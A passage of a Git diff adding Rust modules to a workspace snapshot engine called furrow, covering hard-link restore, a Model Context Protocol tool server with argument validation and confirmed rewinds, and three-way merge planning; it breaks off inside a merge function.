in [pinned.1, fork_head.1, machine_head.1] { + assert!(recovered.read_bytes(&chunk, ObjectKind::Chunk).is_err()); + } + assert!(recovered + .read_bytes(&shared_chunk, ObjectKind::Chunk) + .is_ok()); + } +} diff --git a/engine/furrow-core/src/hardlink.rs b/engine/furrow-core/src/hardlink.rs new file mode 100644 index 0000000000..3f5fc5212d --- /dev/null +++ b/engine/furrow-core/src/hardlink.rs @@ -0,0 +1,129 @@ +//! Hard links of a workspace: noted while it is captured, recorded in the +//! snapshot as groups of paths, and put back when a snapshot is restored. +//! +//! A link count above one is not evidence of a group. A file may share its +//! inode with something outside the tree (a seeded copy of the previous +//! folder, a cache), and that is not a link between two paths of the +//! snapshot. A group therefore exists only when two or more captured paths +//! name the same device and inode, and a restore only ever links paths of the +//! snapshot to one another, never to anything else. + +use crate::model::LinkGroup; +use anyhow::Context; +use serde_bytes::ByteBuf; +use std::fs; +use std::os::unix::ffi::OsStrExt; +use std::os::unix::fs::MetadataExt; +use std::path::{Path, PathBuf}; +use std::sync::atomic::{AtomicU64, Ordering}; + +/// The device and inode of a regular file that has another directory entry, +/// which is the only kind of file that can belong to a group. +pub fn identity(metadata: &fs::Metadata) -> Option<(u64, u64)> { + (metadata.is_file() && metadata.nlink() > 1).then(|| (metadata.dev(), metadata.ino())) +} + +/// The groups the path index noted, in the form a snapshot records. +pub fn groups(noted: Vec>>) -> Vec { + noted + .into_iter() + .map(|paths| LinkGroup { + paths: paths.into_iter().map(ByteBuf::from).collect(), + }) + .collect() +} + +/// What a restore says it could not keep: paths left as separate copies of +/// the same bytes because the file system refused the link. +pub type Unlinked = Vec>; + +/// Makes every group's intact members one file again. `intact` answers the +/// place on disk of a member that is selected, present and still equal to its +/// entry in the snapshot, and None for any other path, which is left alone. +/// The first intact member is the one the others are linked to, so the bytes +/// of a member are never replaced by anything but its own equal twin. +/// +/// A link is made beside the member and renamed over it, so a member is +/// either its old file or the link and never missing. Where the link is +/// refused (a file system without links, a limit on them) the member stays a +/// copy and its path is returned so the caller can say so. +pub fn restore( + groups: &[LinkGroup], + intact: impl Fn(&[u8]) -> anyhow::Result>, +) -> anyhow::Result { + let mut unlinked = Vec::new(); + for group in groups { + let mut members = Vec::new(); + for path in &group.paths { + if let Some(place) = intact(path)? { + members.push((path, place)); + } + } + let Some(((_, anchor), rest)) = members.split_first() else { + continue; + }; + for (path, place) in rest { + if !same_file(anchor, place)? && relink(anchor, place).is_err() { + unlinked.push(path.to_vec()); + } + } + } + Ok(unlinked) +} + +fn same_file(left: &Path, right: &Path) -> anyhow::Result { + let (left, right) = (fs::symlink_metadata(left)?, fs::symlink_metadata(right)?); + Ok((left.dev(), left.ino()) == (right.dev(), right.ino())) +} + +fn relink(anchor: &Path, member: &Path) -> anyhow::Result<()> { + static COUNTER: AtomicU64 = AtomicU64::new(0); + let beside = member.with_file_name(format!( + ".furrow-link-{}-{}", + std::process::id(), + COUNTER.fetch_add(1, Ordering::Relaxed) + )); + fs::hard_link(anchor, &beside).with_context(|| { + format!( + "link {}", + String::from_utf8_lossy(member.as_os_str().as_bytes()) + ) + })?; + fs::rename(&beside, member).inspect_err(|_| { + let _ = fs::remove_file(&beside); + })?; + Ok(()) +} + +#[cfg(test)] +mod tests { + use super::*; + use std::ffi::OsStr; + + #[test] + fn a_member_the_file_system_refuses_to_link_stays_a_copy_and_is_named() { + let temp = tempfile::tempdir().unwrap(); + // A directory cannot be the target of a hard link, as a file system + // that keeps no links cannot take one: the refusal is the same error. + let anchor = temp.path().join("anchor"); + fs::create_dir(&anchor).unwrap(); + let member = temp.path().join("member"); + fs::write(&member, "bytes").unwrap(); + let group = LinkGroup { + paths: vec![ + ByteBuf::from(b"anchor".to_vec()), + ByteBuf::from(b"member".to_vec()), + ], + }; + + let unlinked = restore(&[group], |path| { + Ok(Some(temp.path().join(OsStr::from_bytes(path)))) + }) + .unwrap(); + + assert_eq!(unlinked, vec![b"member".to_vec()]); + assert_eq!(fs::read(&member).unwrap(), b"bytes"); + let leftovers = fs::read_dir(temp.path()).unwrap().count(); + assert_eq!(leftovers, 2, "no link was left beside the member"); + } +} diff --git a/engine/furrow-core/src/lib.rs b/engine/furrow-core/src/lib.rs new file mode 100644 index 0000000000..14e268611c --- /dev/null +++ b/engine/furrow-core/src/lib.rs @@ -0,0 +1,52 @@ +pub mod budget; +pub mod bundle; +pub mod catalog; +pub mod chunker; +pub mod claims; +pub mod content_class; +pub mod coord; +pub mod durability; +pub mod estimate; +pub mod exchange; +pub mod fault; +pub mod fork; +pub mod gc; +pub mod hardlink; +pub mod mcp; +pub mod merge; +pub mod model; +pub mod name_fold; +pub mod overlay; +pub mod path_index; +pub mod policy; +pub mod radar; +pub mod refs; +pub mod remote; +pub mod remote_crypto; +pub mod repository; +pub mod retention; +pub mod s3_remote; +pub mod sealer; +pub mod self_write; +pub mod shrink; +pub mod sorted_dir; +pub mod sqlite_adapter; +pub mod store; +pub mod sync; +pub mod system_attrs; +pub mod tree; +pub mod ui; +pub mod universe; +pub mod watcher; + +pub use budget::{BudgetConfig, BudgetStatus}; +pub use estimate::CaptureEstimate; +pub use gc::GcReport; +pub use radar::{EventPage, RadarEvent}; +pub use repository::{ + new_fork_id, ApplyTimings, BisectCheck, BisectOutcome, ClaimOutcome, CoordOutcome, DiffChange, + DiffSummary, FidelityAspect, FidelityReport, ForkPlan, ForkRemoval, ForkSummary, ForkUpdates, + FurrowRepository, MaterializationReport, MergeOutcome, MissingMaterializationPath, + ReleaseOutcome, RepositoryStatus, RewindPlan, SealOptions, SnapshotSummary, SyncDisposition, + SyncFollowOutcome, SyncFollowSession, SyncPullOutcome, +}; diff --git a/engine/furrow-core/src/mcp.rs b/engine/furrow-core/src/mcp.rs new file mode 100644 index 0000000000..01c4eb4c40 --- /dev/null +++ b/engine/furrow-core/src/mcp.rs @@ -0,0 +1,840 @@ +//! Lightweight Model Context Protocol server over newline-delimited stdio. + +use crate::model::{id_hex, SnapshotTrigger}; +use crate::repository::FurrowRepository; +use anyhow::Context; +use serde::Serialize; +use serde_json::{json, Map, Value}; +use std::io::{self, BufRead, BufReader, BufWriter, Write}; +use std::path::{Path, PathBuf}; + +const LATEST_PROTOCOL: &str = "2025-11-25"; +const SUPPORTED_PROTOCOLS: &[&str] = &["2025-11-25", "2025-06-18", "2025-03-26", "2024-11-05"]; +const MAX_REQUEST_BYTES: usize = 1024 * 1024; + +#[derive(Clone, Copy, PartialEq, Eq)] +enum Lifecycle { + AwaitInitialize, + AwaitInitialized, + Ready, +} + +pub fn run(repository: FurrowRepository) -> anyhow::Result<()> { + run_with_io( + repository, + BufReader::new(io::stdin().lock()), + BufWriter::new(io::stdout().lock()), + ) +} + +fn run_with_io( + mut repository: FurrowRepository, + mut input: impl BufRead, + mut output: impl Write, +) -> anyhow::Result<()> { + let mut lifecycle = Lifecycle::AwaitInitialize; + loop { + let message = match read_message(&mut input) { + Ok(Some(message)) => message, + Ok(None) => break, + Err(error) => { + write_message( + &mut output, + &rpc_error(Value::Null, -32700, &error.to_string()), + )?; + continue; + } + }; + if message.is_empty() { + continue; + } + let request: Value = match serde_json::from_slice(&message) { + Ok(request) => request, + Err(error) => { + write_message( + &mut output, + &rpc_error(Value::Null, -32700, &format!("parse error: {error}")), + )?; + continue; + } + }; + let Some(object) = request.as_object() else { + write_message( + &mut output, + &rpc_error(Value::Null, -32600, "request must be a JSON object"), + )?; + continue; + }; + let id = object.get("id").cloned(); + let Some(method) = object.get("method").and_then(Value::as_str) else { + if let Some(id) = id { + write_message( + &mut output, + &rpc_error(id, -32600, "request method must be a string"), + )?; + } + continue; + }; + if object.get("jsonrpc").and_then(Value::as_str) != Some("2.0") { + if let Some(id) = id { + write_message( + &mut output, + &rpc_error(id, -32600, "jsonrpc must equal 2.0"), + )?; + } + continue; + } + + if id.is_none() { + if method == "notifications/initialized" && lifecycle == Lifecycle::AwaitInitialized { + lifecycle = Lifecycle::Ready; + } + continue; + } + let id = id.expect("checked above"); + if id.is_null() || (!id.is_string() && !id.is_number()) { + write_message( + &mut output, + &rpc_error(Value::Null, -32600, "request id must be a string or number"), + )?; + continue; + } + let response = match method { + "initialize" => { + if lifecycle != Lifecycle::AwaitInitialize { + rpc_error(id, -32600, "server is already initialized") + } else { + match parse_initialize(object) { + Ok(requested) => { + let protocol = if SUPPORTED_PROTOCOLS.contains(&requested) { + requested + } else { + LATEST_PROTOCOL + }; + lifecycle = Lifecycle::AwaitInitialized; + rpc_result( + id, + json!({ + "protocolVersion": protocol, + "capabilities": {"tools": {"listChanged": false}}, + "serverInfo": { + "name": "furrow", + "title": "furrow Working-State Engine", + "version": env!("CARGO_PKG_VERSION"), + "description": "Reversible snapshots, isolated forks, and verified convergence" + }, + "instructions": "Inspect before mutation. Rewind requires a full snapshot ID and the same value in confirm_snapshot." + }), + ) + } + Err(error) => rpc_error(id, -32602, &error.to_string()), + } + } + } + "ping" => rpc_result(id, json!({})), + _ if lifecycle != Lifecycle::Ready => rpc_error(id, -32002, "server is not ready"), + "tools/list" => { + let params = object.get("params"); + if params.is_some_and(|params| !params.is_object()) { + rpc_error(id, -32602, "tools/list params must be an object") + } else if params + .and_then(Value::as_object) + .is_some_and(|params| params.contains_key("cursor")) + { + rpc_error(id, -32602, "tools/list cursor is not supported") + } else { + rpc_result(id, json!({"tools": tool_definitions()})) + } + } + "tools/call" => match parse_tool_call(object) { + Ok((name, _arguments)) if !tool_names().contains(&name) => { + rpc_error(id, -32602, &format!("unknown tool: {name}")) + } + Ok((name, arguments)) => { + let empty = Map::new(); + match call_tool(&mut repository, name, arguments.unwrap_or(&empty)) { + Ok(value) => rpc_result(id, tool_result(value, false)), + Err(error) => rpc_result(id, tool_error(&error)), + } + } + Err(error) => rpc_error(id, -32602, &error.to_string()), + }, + _ => rpc_error(id, -32601, &format!("method not found: {method}")), + }; + write_message(&mut output, &response)?; + } + Ok(()) +} + +fn call_tool( + repository: &mut FurrowRepository, + name: &str, + arguments: &Map, +) -> anyhow::Result { + validate_argument_keys(name, arguments)?; + match name { + "furrow.status" => { + let status = repository.status()?; + if optional_bool(arguments, "fidelity")?.unwrap_or(false) { + Ok(json!({"status": status, "fidelity": repository.fidelity()?})) + } else { + serialize(status) + } + } + "furrow.timeline" => { + let limit = optional_u64(arguments, "limit")?.unwrap_or(20); + anyhow::ensure!( + (1..=1000).contains(&limit), + "limit must be between 1 and 1000" + ); + let limit = limit as usize; + serialize(repository.timeline(limit)?) + } + "furrow.snapshot" => { + let message = optional_string(arguments, "message")?.map(str::to_owned); + anyhow::ensure!( + message.as_ref().map_or(0, String::len) <= 4096, + "message exceeds 4096 bytes" + ); + let id = repository.snapshot(message, SnapshotTrigger::Manual)?; + Ok(json!({"snapshot": id_hex(&id)})) + } + "furrow.diff" => serialize(repository.diff(required_string(arguments, "target")?)?), + "furrow.forks" => serialize(repository.forks()?), + "furrow.events" => serialize(repository.events( + optional_string(arguments, "after")?, + optional_u64(arguments, "limit")?.unwrap_or(100).min(1000) as usize, + )?), + "furrow.fork" => { + let name = required_string(arguments, "name")?; + let destination = default_fork_destination(repository.root(), name); + let plan = repository.prepare_fork(name, &destination)?; + let result = repository.materialize_fork(plan.clone())?; + Ok(json!({"plan": plan, "result": result})) + } + "furrow.merge_plan" => { + let fork = optional_string(arguments, "fork")?; + let snapshot = optional_string(arguments, "snapshot")?; + match (fork, snapshot) { + (Some(fork), None) => serialize(repository.merge(fork, None, true)?), + (None, Some(snapshot)) => serialize(repository.merge_snapshot( + snapshot, + optional_string(arguments, "base")?, + None, + true, + )?), + (Some(_), Some(_)) => { + anyhow::bail!("provide either `fork` or `snapshot`, not both") + } + (None, None) => anyhow::bail!("provide either `fork` or `snapshot`"), + } + } + "furrow.claims" => serialize(repository.claims()?), + "furrow.claim" => { + let owner = optional_string(arguments, "owner")? + .map(str::to_owned) + .unwrap_or_else(|| repository.default_claim_owner()); + serialize(repository.claim( + required_string(arguments, "pattern")?, + &owner, + optional_u64(arguments, "ttl_seconds")?.unwrap_or(3600), + )?) + } + "furrow.release" => { + let owner = optional_string(arguments, "owner")? + .map(str::to_owned) + .unwrap_or_else(|| repository.default_claim_owner()); + serialize(repository.release_claim(required_string(arguments, "claim")?, &owner)?) + } + "furrow.coord_list" => serialize(repository.coord_list()?), + "furrow.coord_read" => { + let path = required_string(arguments, "path")?; + let bytes = repository.coord_read(Path::new(path))?; + let value = String::from_utf8(bytes).context("coord value is not UTF-8")?; + Ok(json!({"path": path, "value": value})) + } + "furrow.coord_write" => { + let owner = optional_string(arguments, "owner")? + .map(str::to_owned) + .unwrap_or_else(|| repository.default_claim_owner()); + serialize(repository.coord_write( + Path::new(required_string(arguments, "path")?), + required_string(arguments, "value")?.as_bytes(), + &owner, + )?) + } + "furrow.coord_remove" => { + let owner = optional_string(arguments, "owner")? + .map(str::to_owned) + .unwrap_or_else(|| repository.default_claim_owner()); + serialize( + repository.coord_remove(Path::new(required_string(arguments, "path")?), &owner)?, + ) + } + "furrow.fork_updates" => serialize(repository.fork_updates( + required_string(arguments, "fork")?, + optional_string(arguments, "after")?, + optional_u64(arguments, "limit")?.unwrap_or(100).min(1000) as usize, + )?), + "furrow.rewind_plan" => { + let requested = required_string(arguments, "snapshot")?; + anyhow::ensure!( + requested.len() == 64, + "rewind planning requires the full 64-character snapshot ID" + ); + let target = repository.resolve_snapshot(requested)?; + let paths = optional_paths(arguments, "paths")?; + let plan = repository.plan_rewind(&target, &paths)?; + Ok(json!({"applied": false, "plan": plan})) + } + "furrow.rewind_apply" => { + let requested = required_string(arguments, "snapshot")?; + anyhow::ensure!( + requested.len() == 64, + "applying rewind requires the full 64-character snapshot ID" + ); + anyhow::ensure!( + optional_string(arguments, "confirm_snapshot")? == Some(requested), + "confirm_snapshot must exactly match snapshot before applying rewind" + ); + let target = repository.resolve_snapshot(requested)?; + let paths = optional_paths(arguments, "paths")?; + let (pre, applied) = repository.rewind( + &target, + &paths, + optional_bool(arguments, "sqlite_consistent")?.unwrap_or(false), + )?; + Ok(json!({ + "applied": true, + "pre_rewind_snapshot": id_hex(&pre), + "plan": applied + })) + } + _ => unreachable!("tool name was validated before dispatch"), + } +} + +fn tool_names() -> &'static [&'static str] { + &[ + "furrow.status", + "furrow.timeline", + "furrow.snapshot", + "furrow.diff", + "furrow.forks", + "furrow.events", + "furrow.fork", + "furrow.merge_plan", + "furrow.claims", + "furrow.claim", + "furrow.release", + "furrow.coord_list", + "furrow.coord_read", + "furrow.coord_write", + "furrow.coord_remove", + "furrow.fork_updates", + "furrow.rewind_plan", + "furrow.rewind_apply", + ] +} + +fn validate_argument_keys(name: &str, arguments: &Map) -> anyhow::Result<()> { + let allowed: &[&str] = match name { + "furrow.status" => &["fidelity"], + "furrow.timeline" => &["limit"], + "furrow.snapshot" => &["message"], + "furrow.diff" => &["target"], + "furrow.forks" => &[], + "furrow.events" => &["after", "limit"], + "furrow.fork" => &["name"], + "furrow.merge_plan" => &["fork", "snapshot", "base"], + "furrow.claims" => &[], + "furrow.claim" => &["pattern", "owner", "ttl_seconds"], + "furrow.release" => &["claim", "owner"], + "furrow.coord_list" => &[], + "furrow.coord_read" => &["path"], + "furrow.coord_write" => &["path", "value", "owner"], + "furrow.coord_remove" => &["path", "owner"], + "furrow.fork_updates" => &["fork", "after", "limit"], + "furrow.rewind_plan" => &["snapshot", "paths"], + "furrow.rewind_apply" => &["snapshot", "paths", "confirm_snapshot", "sqlite_consistent"], + _ => unreachable!("tool name was validated before dispatch"), + }; + for key in arguments.keys() { + anyhow::ensure!(allowed.contains(&key.as_str()), "unknown argument: {key}"); + } + Ok(()) +} + +fn tool_definitions() -> Vec { + vec![ + tool( + "furrow.status", + "Inspect workspace protection, store health, and optional capture fidelity.", + json!({ + "type": "object", + "properties": {"fidelity": {"type": "boolean", "default": false}}, + "additionalProperties": false + }), + true, + false, + ), + tool( + "furrow.timeline", + "List recent complete working-state snapshots.", + json!({ + "type": "object", + "properties": {"limit": {"type": "integer", "minimum": 1, "maximum": 1000}}, + "additionalProperties": false + }), + true, + false, + ), + tool( + "furrow.snapshot", + "Seal the complete current workspace, including ignored and untracked files.", + json!({ + "type": "object", + "properties": {"message": {"type": "string", "maxLength": 4096}}, + "additionalProperties": false + }), + false, + false, + ), + tool( + "furrow.diff", + "Inspect path-level additions, modifications, and deletions in a fork or since a snapshot.", + json!({ + "type": "object", + "properties": {"target": {"type": "string"}}, + "required": ["target"], + "additionalProperties": false + }), + false, + false, + ), + tool( + "furrow.forks", + "List isolated universes with stable IDs and live conflict counts.", + json!({"type": "object", "additionalProperties": false}), + true, + false, + ), + tool( + "furrow.events", + "Read durable conflict transitions after an exclusive event cursor.", + json!({ + "type": "object", + "properties": { + "after": {"type": "string"}, + "limit": {"type": "integer", "minimum": 1, "maximum": 1000, "default": 100} + }, + "additionalProperties": false + }), + true, + false, + ), + tool( + "furrow.fork", + "Create an isolated full-state workspace and return its pre-materialization cost plan.", + json!({ + "type": "object", + "properties": { + "name": {"type": "string"} + }, + "required": ["name"], + "additionalProperties": false + }), + false, + false, + ), + tool( + "furrow.merge_plan", + "Plan a three-way full-state merge from a fork or a stored snapshot ID without \ + executing checks or changing files.", + json!({ + "type": "object", + "properties": { + "fork": {"type": "string"}, + "snapshot": {"type": "string", "pattern": "^[0-9a-f]{64}$"}, + "base": {"type": "string", "pattern": "^[0-9a-f]{64}$"} + }, + "additionalProperties": false + }), + false, + false, + ), + tool( + "furrow.claims", + "List active advisory path claims shared by sibling forks.", + json!({"type": "object", "additionalProperties": false}), + true, + false, + ), + tool( + "furrow.claim", + "Claim a path glob with a TTL; overlapping claims from another agent are refused.", + json!({ + "type": "object", + "properties": { + "pattern": {"type": "string", "maxLength": 1024}, + "owner": {"type": "string", "maxLength": 256}, + "ttl_seconds": {"type": "integer", "minimum": 1, "maximum": 604800, "default": 3600} + }, + "required": ["pattern"], + "additionalProperties": false + }), + false, + false, + ), + tool( + "furrow.release", + "Release this agent's claim by ID or exact pattern.", + json!({ + "type": "object", + "properties": { + "claim": {"type": "string"}, + "owner": {"type": "string", "maxLength": 256} + }, + "required": ["claim"], + "additionalProperties": false + }), + false, + false, + ), + tool( + "furrow.coord_list", + "List eagerly replicated coordination files without reading their content.", + json!({"type": "object", "additionalProperties": false}), + true, + false, + ), + tool( + "furrow.coord_read", + "Read one UTF-8 value from the versioned coordination directory.", + json!({ + "type": "object", + "properties": {"path": {"type": "string", "maxLength": 1024}}, + "required": ["path"], + "additionalProperties": false + }), + true, + false, + ), + tool( + "furrow.coord_write", + "Write a UTF-8 coordination value and eagerly propagate it to live sibling forks.", + json!({ + "type": "object", + "properties": { + "path": {"type": "string", "maxLength": 1024}, + "value": {"type": "string", "maxLength": 1048576}, + "owner": {"type": "string", "maxLength": 256} + }, + "required": ["path", "value"], + "additionalProperties": false + }), + false, + false, + ), + tool( + "furrow.coord_remove", + "Remove a coordination value and propagate a durable tombstone to sibling forks.", + json!({ + "type": "object", + "properties": { + "path": {"type": "string", "maxLength": 1024}, + "owner": {"type": "string", "maxLength": 256} + }, + "required": ["path"], + "additionalProperties": false + }), + false, + false, + ), + tool( + "furrow.fork_updates", + "Return fork seals newer than an optional exact snapshot cursor.", + json!({ + "type": "object", + "properties": { + "fork": {"type": "string"}, + "after": {"type": "string", "pattern": "^[0-9a-f]{64}$"}, + "limit": {"type": "integer", "minimum": 1, "maximum": 1000, "default": 100} + }, + "required": ["fork"], + "additionalProperties": false + }), + true, + false, + ), + tool( + "furrow.rewind_plan", + "Preview the exact impact of a rewind without changing workspace files.", + json!({ + "type": "object", + "properties": { + "snapshot": {"type": "string", "pattern": "^[0-9a-f]{64}$"}, + "paths": {"type": "array", "items": {"type": "string"}, "maxItems": 10000} + }, + "required": ["snapshot"], + "additionalProperties": false + }), + true, + false, + ), + tool( + "furrow.rewind_apply", + "Apply a reversible rewind after an exact-ID impact preview and explicit repeated confirmation.", + json!({ + "type": "object", + "properties": { + "snapshot": {"type": "string", "pattern": "^[0-9a-f]{64}$"}, + "paths": {"type": "array", "items": {"type": "string"}, "maxItems": 10000}, + "confirm_snapshot": {"type": "string", "pattern": "^[0-9a-f]{64}$"}, + "sqlite_consistent": {"type": "boolean", "default": false} + }, + "required": ["snapshot", "confirm_snapshot"], + "additionalProperties": false + }), + false, + true, + ), + ] +} + +fn tool( + name: &str, + description: &str, + input_schema: Value, + read_only: bool, + destructive: bool, +) -> Value { + json!({ + "name": name, + "description": description, + "inputSchema": input_schema, + "annotations": { + "readOnlyHint": read_only, + "destructiveHint": destructive, + "idempotentHint": read_only, + "openWorldHint": false + }, + "execution": {"taskSupport": "forbidden"} + }) +} + +fn parse_tool_call( + request: &Map, +) -> anyhow::Result<(&str, Option<&Map>)> { + let params = request + .get("params") + .and_then(Value::as_object) + .context("tools/call requires an object params value")?; + anyhow::ensure!( + !params.contains_key("task"), + "this server does not support task-augmented tool calls" + ); + let name = params + .get("name") + .and_then(Value::as_str) + .context("tools/call requires a string name")?; + let arguments = params + .get("arguments") + .map(|arguments| arguments.as_object().context("arguments must be an object")) + .transpose()?; + Ok((name, arguments)) +} + +fn parse_initialize(request: &Map) -> anyhow::Result<&str> { + let params = request + .get("params") + .and_then(Value::as_object) + .context("initialize requires object params")?; + anyhow::ensure!( + params.get("capabilities").is_some_and(Value::is_object), + "initialize requires object capabilities" + ); + let client = params + .get("clientInfo") + .and_then(Value::as_object) + .context("initialize requires object clientInfo")?; + anyhow::ensure!( + client.get("name").is_some_and(Value::is_string) + && client.get("version").is_some_and(Value::is_string), + "clientInfo requires string name and version" + ); + params + .get("protocolVersion") + .and_then(Value::as_str) + .context("initialize requires string protocolVersion") +} + +fn required_string<'a>(arguments: &'a Map, name: &str) -> anyhow::Result<&'a str> { + arguments + .get(name) + .and_then(Value::as_str) + .with_context(|| format!("{name} must be a string")) +} + +fn optional_string<'a>( + arguments: &'a Map, + name: &str, +) -> anyhow::Result> { + arguments + .get(name) + .map(|value| { + value + .as_str() + .with_context(|| format!("{name} must be a string")) + }) + .transpose() +} + +fn optional_bool(arguments: &Map, name: &str) -> anyhow::Result> { + arguments + .get(name) + .map(|value| { + value + .as_bool() + .with_context(|| format!("{name} must be a boolean")) + }) + .transpose() +} + +fn optional_u64(arguments: &Map, name: &str) -> anyhow::Result> { + arguments + .get(name) + .map(|value| { + value + .as_u64() + .with_context(|| format!("{name} must be a non-negative integer")) + }) + .transpose() +} + +fn optional_paths(arguments: &Map, name: &str) -> anyhow::Result> { + let Some(value) = arguments.get(name) else { + return Ok(Vec::new()); + }; + let paths = value + .as_array() + .with_context(|| format!("{name} must be an array"))?; + anyhow::ensure!(paths.len() <= 10_000, "{name} contains too many paths"); + let paths: Vec = paths + .iter() + .map(|path| { + path.as_str() + .map(PathBuf::from) + .with_context(|| format!("{name} entries must be strings")) + }) + .collect::>()?; + for path in &paths { + anyhow::ensure!(!path.is_absolute(), "{name} entries must be relative paths"); + anyhow::ensure!( + path.components() + .all(|component| matches!(component, std::path::Component::Normal(_))), + "{name} entries must not contain dot or parent components" + ); + } + Ok(paths) +} + +fn serialize(value: impl Serialize) -> anyhow::Result { + Ok(serde_json::to_value(value)?) +} + +fn tool_result(value: Value, is_error: bool) -> Value { + let text = serde_json::to_string_pretty(&value).unwrap_or_else(|_| value.to_string()); + json!({ + "content": [{"type": "text", "text": text}], + "structuredContent": value, + "isError": is_error + }) +} + +fn tool_error(error: &anyhow::Error) -> Value { + json!({ + "content": [{"type": "text", "text": error.to_string()}], + "isError": true + }) +} + +fn rpc_result(id: Value, result: Value) -> Value { + json!({"jsonrpc": "2.0", "id": id, "result": result}) +} + +fn rpc_error(id: Value, code: i64, message: &str) -> Value { + json!({ + "jsonrpc": "2.0", + "id": id, + "error": {"code": code, "message": message} + }) +} + +fn write_message(output: &mut impl Write, message: &Value) -> anyhow::Result<()> { + serde_json::to_writer(&mut *output, message)?; + output.write_all(b"\n")?; + output.flush()?; + Ok(()) +} + +fn read_message(input: &mut impl BufRead) -> anyhow::Result>> { + let mut message = Vec::new(); + let mut oversized = false; + loop { + let available = input.fill_buf()?; + if available.is_empty() { + if message.is_empty() && !oversized { + return Ok(None); + } + break; + } + let newline = available.iter().position(|byte| *byte == b'\n'); + let take = newline.map_or(available.len(), |position| position + 1); + if !oversized && message.len().saturating_add(take) <= MAX_REQUEST_BYTES + 1 { + message.extend_from_slice(&available[..take]); + } else { + oversized = true; + } + input.consume(take); + if newline.is_some() { + break; + } + } + anyhow::ensure!(!oversized, "MCP request exceeds the 1 MiB limit"); + if message.last() == Some(&b'\n') { + message.pop(); + } + if message.last() == Some(&b'\r') { + message.pop(); + } + anyhow::ensure!( + message.len() <= MAX_REQUEST_BYTES, + "MCP request exceeds the 1 MiB limit" + ); + Ok(Some(message)) +} + +fn default_fork_destination(root: &Path, name: &str) -> PathBuf { + let parent = root.parent().unwrap_or_else(|| Path::new(".")); + let repository_name = root + .file_name() + .unwrap_or_else(|| std::ffi::OsStr::new("workspace")); + let mut forks_name = repository_name.to_os_string(); + forks_name.push(".furrow-forks"); + parent.join(forks_name).join(name) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn bounded_reader_rejects_oversized_messages_and_resumes_at_next_line() { + let mut bytes = vec![b'x'; MAX_REQUEST_BYTES + 1]; + bytes.extend_from_slice(b"\n{}\n"); + let mut input = BufReader::new(bytes.as_slice()); + assert!(read_message(&mut input).is_err()); + assert_eq!(read_message(&mut input).unwrap().unwrap(), b"{}"); + } +} diff --git a/engine/furrow-core/src/merge.rs b/engine/furrow-core/src/merge.rs new file mode 100644 index 0000000000..d484ee7a8c --- /dev/null +++ b/engine/furrow-core/src/merge.rs @@ -0,0 +1,636 @@ +//! Deterministic three-way planning for complete workspace trees. + +use crate::model::{EntryKind, ObjectId, TreeEntry}; +use crate::store::ObjectStore; +use crate::tree; +use serde::Serialize; +use std::collections::{BTreeMap, BTreeSet}; +use std::fmt; + +#[derive(Debug, Clone, Serialize)] +pub struct MergePlan { + pub changes: Vec, + pub conflicts: Vec, +} + +#[derive(Debug, Clone, Serialize)] +pub struct MergeChange { + #[serde(with = "serde_bytes")] + pub path: Vec, + pub action: MergeAction, +} + +#[derive(Debug, Clone, Serialize)] +#[serde(rename_all = "snake_case", tag = "kind", content = "entry")] +pub enum MergeAction { + Set(TreeEntry), + Remove, +} + +#[derive(Debug, Clone, Serialize)] +pub struct MergeConflict { + #[serde(with = "serde_bytes")] + pub path: Vec, + pub kind: ConflictKind, +} + +#[derive(Debug, Clone, Copy, Eq, PartialEq, Serialize)] +#[serde(rename_all = "snake_case")] +pub enum ConflictKind { + ModifyModify, + DeleteModify, + Type, + Ancestor, +} + +impl fmt::Display for ConflictKind { + fn fmt(&self, formatter: &mut fmt::Formatter<'_>) -> fmt::Result { + formatter.write_str(match self { + Self::ModifyModify => "modify/modify", + Self::DeleteModify => "delete/modify", + Self::Type => "type", + Self::Ancestor => "ancestor", + }) + } +} + +pub fn plan( + base: &BTreeMap, TreeEntry>, + ours: &BTreeMap, TreeEntry>, + theirs: &BTreeMap, TreeEntry>, +) -> MergePlan { + let mut paths = BTreeSet::new(); + paths.extend(base.keys().cloned()); + paths.extend(ours.keys().cloned()); + paths.extend(theirs.keys().cloned()); + + let mut changes = Vec::new(); + let mut conflicts = Vec::new(); + for path in paths { + let base_entry = base.get(&path); + let ours_entry = ours.get(&path); + let theirs_entry = theirs.get(&path); + if equivalent(ours_entry, theirs_entry) { + continue; + } + if equivalent(base_entry, ours_entry) { + changes.push(MergeChange { + path, + action: theirs_entry + .cloned() + .map_or(MergeAction::Remove, MergeAction::Set), + }); + continue; + } + if equivalent(base_entry, theirs_entry) { + continue; + } + + conflicts.push(MergeConflict { + path, + kind: direct_conflict(base_entry, ours_entry, theirs_entry), + }); + } + + let mut ancestor_conflicts = BTreeSet::new(); + for (path, base_entry) in base { + if base_entry.kind != EntryKind::Directory { + continue; + } + let ours_is_directory = ours + .get(path) + .is_some_and(|entry| entry.kind == EntryKind::Directory); + let theirs_is_directory = theirs + .get(path) + .is_some_and(|entry| entry.kind == EntryKind::Directory); + if !ours_is_directory + && theirs_is_directory + && subtree_changed(base, theirs, path) + && !equivalent(ours.get(path), theirs.get(path)) + { + ancestor_conflicts.insert(path.clone()); + } + if !theirs_is_directory + && ours_is_directory + && subtree_changed(base, ours, path) + && !equivalent(ours.get(path), theirs.get(path)) + { + ancestor_conflicts.insert(path.clone()); + } + } + for path in ancestor_conflicts { + if !conflicts.iter().any(|conflict| conflict.path == path) { + conflicts.push(MergeConflict { + path: path.clone(), + kind: ConflictKind::Ancestor, + }); + } + } + conflicts.sort_by(|left, right| left.path.cmp(&right.path)); + conflicts.dedup_by(|left, right| left.path == right.path); + changes.retain(|change| { + !conflicts.iter().any(|conflict| { + change.path == conflict.path || is_descendant(&change.path, &conflict.path) + }) + }); + MergePlan { changes, conflicts } +} + +/// Plans from Merkle roots while retaining only paths that differ from the +/// base. Identical directory pages are skipped by `tree::diff_entries`, so +/// memory is bounded by semantic changes rather than total repository size. +pub fn plan_trees( + store: &ObjectStore, + base_root: &ObjectId, + ours_root: &ObjectId, + theirs_root: &ObjectId, +) -> anyhow::Result { + let mut ours_delta = BTreeMap::new(); + let mut theirs_delta = BTreeMap::new(); + collect_delta(store, base_root, ours_root, &[], &mut ours_delta)?; + collect_delta(store, base_root, theirs_root, &[], &mut theirs_delta)?; + + let mut paths = BTreeSet::new(); + paths.extend(ours_delta.keys().cloned()); + paths.extend(theirs_delta.keys().cloned()); + let mut changes = Vec::new(); + let mut conflicts = Vec::new(); + for path in paths { + let base_entry = ours_delta + .get(&path) + .or_else(|| theirs_delta.get(&path)) + .and_then(|delta| delta.before.as_ref()); + let 